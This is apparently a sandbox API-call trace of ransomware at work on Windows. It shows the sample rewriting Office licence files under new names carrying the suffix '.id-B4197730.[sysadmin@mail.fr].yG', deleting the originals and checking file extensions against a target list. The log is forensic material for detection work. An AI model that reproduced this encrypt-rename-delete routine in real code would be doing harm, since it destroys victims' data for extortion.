	[0175.544] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription2-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subscription2-ul-oob.xrm-ms")) returned 1
	[0175.545] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription2-ul-oob.xrm-ms") returned 90
	[0175.545] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription2-ul-oob.xrm-ms") returned 90
	[0175.545] lstrlenW (lpString=".doc") returned 4
	[0175.545] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0175.545] lstrlenW (lpString=".docx") returned 5
	[0175.545] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0175.545] lstrlenW (lpString=".pdf") returned 4
	[0175.546] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0175.546] lstrlenW (lpString=".xls") returned 4
	[0175.546] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0175.546] lstrlenW (lpString=".xlsx") returned 5
	[0175.546] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0175.546] lstrlenW (lpString=".ppt") returned 4
	[0175.546] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0175.546] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription2-ul-oob.xrm-ms") returned 90
	[0175.546] lstrlenW (lpString=".zip") returned 4
	[0175.546] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0175.546] lstrlenW (lpString=".rar") returned 4
	[0175.546] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0175.546] lstrlenW (lpString=".bz2") returned 4
	[0175.546] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0175.546] lstrlenW (lpString=".7z") returned 3
	[0175.546] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0175.546] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription2-ul-oob.xrm-ms") returned 90
	[0175.546] lstrlenW (lpString=".dbf") returned 4
	[0175.546] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0175.546] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription2-ul-oob.xrm-ms") returned 90
	[0175.546] lstrlenW (lpString=".1cd") returned 4
	[0175.546] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0175.546] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription2-ul-oob.xrm-ms") returned 90
	[0175.546] lstrlenW (lpString=".jpg") returned 4
	[0175.546] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0175.547] GetFileSizeEx (in: hFile=0x29c, lpFileSize=0x3dfff14 | out: lpFileSize=0x3dfff14*=11195) returned 1
	[0175.547] CloseHandle (hObject=0x29c) returned 1
	[0175.547] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription3-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subscription3-pl.xrm-ms")) returned 0x220
	[0175.547] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription3-pl.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subscription3-pl.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0175.548] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription3-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subscription3-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x29c
	[0175.548] SetFilePointerEx (in: hFile=0x29c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3dffec0 | out: lpNewFilePointer=0x0) returned 1
	[0175.548] SetFilePointerEx (in: hFile=0x29c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3dffec0 | out: lpNewFilePointer=0x0) returned 1
	[0175.548] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription3-pl.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subscription3-pl.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2a8
	[0175.549] GetLastError () returned 0x0
	[0175.549] ReadFile (in: hFile=0x29c, lpBuffer=0x42e2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3dffecc, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesRead=0x3dffecc*=0x2bbb, lpOverlapped=0x0) returned 1
	[0175.552] WriteFile (in: hFile=0x2a8, lpBuffer=0x42e2020*, nNumberOfBytesToWrite=0x2bc0, lpNumberOfBytesWritten=0x3dffc94, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesWritten=0x3dffc94*=0x2bc0, lpOverlapped=0x0) returned 1
	[0175.553] ReadFile (in: hFile=0x29c, lpBuffer=0x42e2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3dffecc, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesRead=0x3dffecc*=0x0, lpOverlapped=0x0) returned 1
	[0175.553] WriteFile (in: hFile=0x2a8, lpBuffer=0x42e2020*, nNumberOfBytesToWrite=0x11c, lpNumberOfBytesWritten=0x3dffc94, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesWritten=0x3dffc94*=0x11c, lpOverlapped=0x0) returned 1
	[0175.553] SetEndOfFile (hFile=0x2a8) returned 1
	[0175.553] CloseHandle (hObject=0x2a8) returned 1
	[0175.553] SetFilePointerEx (in: hFile=0x29c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3dffec0 | out: lpNewFilePointer=0x0) returned 1
	[0175.553] SetEndOfFile (hFile=0x29c) returned 1
	[0175.557] CloseHandle (hObject=0x29c) returned 1
	[0175.557] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription3-pl.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0175.557] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription3-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subscription3-pl.xrm-ms")) returned 1
	[0175.558] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription3-pl.xrm-ms") returned 86
	[0175.558] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription3-pl.xrm-ms") returned 86
	[0175.559] lstrlenW (lpString=".doc") returned 4
	[0175.559] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0175.559] lstrlenW (lpString=".docx") returned 5
	[0175.559] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0175.559] lstrlenW (lpString=".pdf") returned 4
	[0175.559] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0175.559] lstrlenW (lpString=".xls") returned 4
	[0175.559] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0175.559] lstrlenW (lpString=".xlsx") returned 5
	[0175.559] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0175.559] lstrlenW (lpString=".ppt") returned 4
	[0175.559] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0175.559] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription3-pl.xrm-ms") returned 86
	[0175.559] lstrlenW (lpString=".zip") returned 4
	[0175.559] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0175.559] lstrlenW (lpString=".rar") returned 4
	[0175.559] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0175.559] lstrlenW (lpString=".bz2") returned 4
	[0175.559] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0175.559] lstrlenW (lpString=".7z") returned 3
	[0175.559] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0175.559] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription3-pl.xrm-ms") returned 86
	[0175.559] lstrlenW (lpString=".dbf") returned 4
	[0175.559] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0175.559] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription3-pl.xrm-ms") returned 86
	[0175.559] lstrlenW (lpString=".1cd") returned 4
	[0175.560] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0175.560] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription3-pl.xrm-ms") returned 86
	[0175.560] lstrlenW (lpString=".jpg") returned 4
	[0175.560] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0175.560] GetFileSizeEx (in: hFile=0x29c, lpFileSize=0x3dfff14 | out: lpFileSize=0x3dfff14*=28261) returned 1
	[0175.561] CloseHandle (hObject=0x29c) returned 1
	[0175.561] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription3-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subscription3-ppd.xrm-ms")) returned 0x220
	[0175.561] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription3-ppd.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subscription3-ppd.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0175.561] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription3-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subscription3-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x29c
	[0175.562] SetFilePointerEx (in: hFile=0x29c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3dffec0 | out: lpNewFilePointer=0x0) returned 1
	[0175.562] SetFilePointerEx (in: hFile=0x29c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3dffec0 | out: lpNewFilePointer=0x0) returned 1
	[0175.562] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription3-ppd.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subscription3-ppd.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2a8
	[0175.563] GetLastError () returned 0x0
	[0175.563] ReadFile (in: hFile=0x29c, lpBuffer=0x42e2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3dffecc, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesRead=0x3dffecc*=0x6e65, lpOverlapped=0x0) returned 1
	[0175.566] WriteFile (in: hFile=0x2a8, lpBuffer=0x42e2020*, nNumberOfBytesToWrite=0x6e70, lpNumberOfBytesWritten=0x3dffc94, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesWritten=0x3dffc94*=0x6e70, lpOverlapped=0x0) returned 1
	[0175.568] ReadFile (in: hFile=0x29c, lpBuffer=0x42e2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3dffecc, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesRead=0x3dffecc*=0x0, lpOverlapped=0x0) returned 1
	[0175.568] WriteFile (in: hFile=0x2a8, lpBuffer=0x42e2020*, nNumberOfBytesToWrite=0x11e, lpNumberOfBytesWritten=0x3dffc94, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesWritten=0x3dffc94*=0x11e, lpOverlapped=0x0) returned 1
	[0175.568] SetEndOfFile (hFile=0x2a8) returned 1
	[0175.568] CloseHandle (hObject=0x2a8) returned 1
	[0175.568] SetFilePointerEx (in: hFile=0x29c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3dffec0 | out: lpNewFilePointer=0x0) returned 1
	[0175.568] SetEndOfFile (hFile=0x29c) returned 1
	[0175.572] CloseHandle (hObject=0x29c) returned 1
	[0175.572] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription3-ppd.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0175.572] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription3-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subscription3-ppd.xrm-ms")) returned 1
	[0175.573] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription3-ppd.xrm-ms") returned 87
	[0175.573] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription3-ppd.xrm-ms") returned 87
	[0175.573] lstrlenW (lpString=".doc") returned 4
	[0175.573] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0175.573] lstrlenW (lpString=".docx") returned 5
	[0175.573] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0175.573] lstrlenW (lpString=".pdf") returned 4
	[0175.573] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0175.574] lstrlenW (lpString=".xls") returned 4
	[0175.574] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0175.574] lstrlenW (lpString=".xlsx") returned 5
	[0175.574] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0175.574] lstrlenW (lpString=".ppt") returned 4
	[0175.574] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0175.574] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription3-ppd.xrm-ms") returned 87
	[0175.574] lstrlenW (lpString=".zip") returned 4
	[0175.574] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0175.574] lstrlenW (lpString=".rar") returned 4
	[0175.574] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0175.574] lstrlenW (lpString=".bz2") returned 4
	[0175.574] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0175.574] lstrlenW (lpString=".7z") returned 3
	[0175.574] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0175.574] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription3-ppd.xrm-ms") returned 87
	[0175.574] lstrlenW (lpString=".dbf") returned 4
	[0175.574] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0175.574] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription3-ppd.xrm-ms") returned 87
	[0175.574] lstrlenW (lpString=".1cd") returned 4
	[0175.574] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0175.574] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription3-ppd.xrm-ms") returned 87
	[0175.574] lstrlenW (lpString=".jpg") returned 4
	[0175.574] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0175.575] GetFileSizeEx (in: hFile=0x29c, lpFileSize=0x3dfff14 | out: lpFileSize=0x3dfff14*=11646) returned 1
	[0175.575] CloseHandle (hObject=0x29c) returned 1
	[0175.575] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription3-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subscription3-ul-oob.xrm-ms")) returned 0x220
	[0175.575] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription3-ul-oob.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subscription3-ul-oob.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0175.576] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription3-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subscription3-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x29c
	[0175.878] SetFilePointerEx (in: hFile=0x29c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3dffec0 | out: lpNewFilePointer=0x0) returned 1
	[0175.878] SetFilePointerEx (in: hFile=0x29c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3dffec0 | out: lpNewFilePointer=0x0) returned 1
	[0175.879] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription3-ul-oob.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subscription3-ul-oob.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x484
	[0175.880] GetLastError () returned 0x0
	[0175.880] ReadFile (in: hFile=0x29c, lpBuffer=0x42e2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3dffecc, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesRead=0x3dffecc*=0x2d7e, lpOverlapped=0x0) returned 1
	[0175.912] WriteFile (in: hFile=0x484, lpBuffer=0x42e2020*, nNumberOfBytesToWrite=0x2d80, lpNumberOfBytesWritten=0x3dffc94, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesWritten=0x3dffc94*=0x2d80, lpOverlapped=0x0) returned 1
	[0175.914] ReadFile (in: hFile=0x29c, lpBuffer=0x42e2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3dffecc, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesRead=0x3dffecc*=0x0, lpOverlapped=0x0) returned 1
	[0175.914] WriteFile (in: hFile=0x484, lpBuffer=0x42e2020*, nNumberOfBytesToWrite=0x124, lpNumberOfBytesWritten=0x3dffc94, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesWritten=0x3dffc94*=0x124, lpOverlapped=0x0) returned 1
	[0175.914] SetEndOfFile (hFile=0x484) returned 1
	[0175.914] CloseHandle (hObject=0x484) returned 1
	[0175.914] SetFilePointerEx (in: hFile=0x29c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3dffec0 | out: lpNewFilePointer=0x0) returned 1
	[0175.914] SetEndOfFile (hFile=0x29c) returned 1
	[0175.918] CloseHandle (hObject=0x29c) returned 1
	[0175.918] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription3-ul-oob.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0175.918] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription3-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subscription3-ul-oob.xrm-ms")) returned 1
	[0175.919] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription3-ul-oob.xrm-ms") returned 90
	[0175.919] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription3-ul-oob.xrm-ms") returned 90
	[0175.919] lstrlenW (lpString=".doc") returned 4
	[0175.919] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0175.919] lstrlenW (lpString=".docx") returned 5
	[0175.919] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0175.919] lstrlenW (lpString=".pdf") returned 4
	[0175.919] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0175.920] lstrlenW (lpString=".xls") returned 4
	[0175.920] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0175.920] lstrlenW (lpString=".xlsx") returned 5
	[0175.920] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0175.920] lstrlenW (lpString=".ppt") returned 4
	[0175.920] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0175.920] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription3-ul-oob.xrm-ms") returned 90
	[0175.920] lstrlenW (lpString=".zip") returned 4
	[0175.920] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0175.920] lstrlenW (lpString=".rar") returned 4
	[0175.920] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0175.920] lstrlenW (lpString=".bz2") returned 4
	[0175.920] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0175.920] lstrlenW (lpString=".7z") returned 3
	[0175.920] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0175.920] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription3-ul-oob.xrm-ms") returned 90
	[0175.920] lstrlenW (lpString=".dbf") returned 4
	[0175.920] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0175.920] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription3-ul-oob.xrm-ms") returned 90
	[0175.920] lstrlenW (lpString=".1cd") returned 4
	[0175.920] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0175.920] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription3-ul-oob.xrm-ms") returned 90
	[0175.920] lstrlenW (lpString=".jpg") returned 4
	[0175.920] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0175.921] GetFileSizeEx (in: hFile=0x29c, lpFileSize=0x3dfff14 | out: lpFileSize=0x3dfff14*=11646) returned 1
	[0175.921] CloseHandle (hObject=0x29c) returned 1
	[0175.921] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription5-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subscription5-ul-oob.xrm-ms")) returned 0x220
	[0175.921] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription5-ul-oob.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subscription5-ul-oob.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0175.922] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription5-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subscription5-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x29c
	[0175.923] SetFilePointerEx (in: hFile=0x29c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3dffec0 | out: lpNewFilePointer=0x0) returned 1
	[0175.923] SetFilePointerEx (in: hFile=0x29c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3dffec0 | out: lpNewFilePointer=0x0) returned 1
	[0175.923] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription5-ul-oob.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subscription5-ul-oob.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x484
	[0175.924] GetLastError () returned 0x0
	[0175.924] ReadFile (in: hFile=0x29c, lpBuffer=0x42e2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3dffecc, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesRead=0x3dffecc*=0x2d7e, lpOverlapped=0x0) returned 1
	[0175.934] WriteFile (in: hFile=0x484, lpBuffer=0x42e2020*, nNumberOfBytesToWrite=0x2d80, lpNumberOfBytesWritten=0x3dffc94, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesWritten=0x3dffc94*=0x2d80, lpOverlapped=0x0) returned 1
	[0175.936] ReadFile (in: hFile=0x29c, lpBuffer=0x42e2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3dffecc, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesRead=0x3dffecc*=0x0, lpOverlapped=0x0) returned 1
	[0175.936] WriteFile (in: hFile=0x484, lpBuffer=0x42e2020*, nNumberOfBytesToWrite=0x124, lpNumberOfBytesWritten=0x3dffc94, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesWritten=0x3dffc94*=0x124, lpOverlapped=0x0) returned 1
	[0175.936] SetEndOfFile (hFile=0x484) returned 1
	[0175.936] CloseHandle (hObject=0x484) returned 1
	[0175.936] SetFilePointerEx (in: hFile=0x29c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3dffec0 | out: lpNewFilePointer=0x0) returned 1
	[0175.936] SetEndOfFile (hFile=0x29c) returned 1
	[0175.966] CloseHandle (hObject=0x29c) returned 1
	[0175.966] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription5-ul-oob.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0175.974] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription5-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subscription5-ul-oob.xrm-ms")) returned 1
	[0175.975] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription5-ul-oob.xrm-ms") returned 90
	[0175.975] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription5-ul-oob.xrm-ms") returned 90
	[0175.975] lstrlenW (lpString=".doc") returned 4
	[0175.975] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0175.975] lstrlenW (lpString=".docx") returned 5
	[0175.975] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0175.975] lstrlenW (lpString=".pdf") returned 4
	[0175.975] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0175.975] lstrlenW (lpString=".xls") returned 4
	[0175.975] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0175.975] lstrlenW (lpString=".xlsx") returned 5
	[0175.975] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0175.975] lstrlenW (lpString=".ppt") returned 4
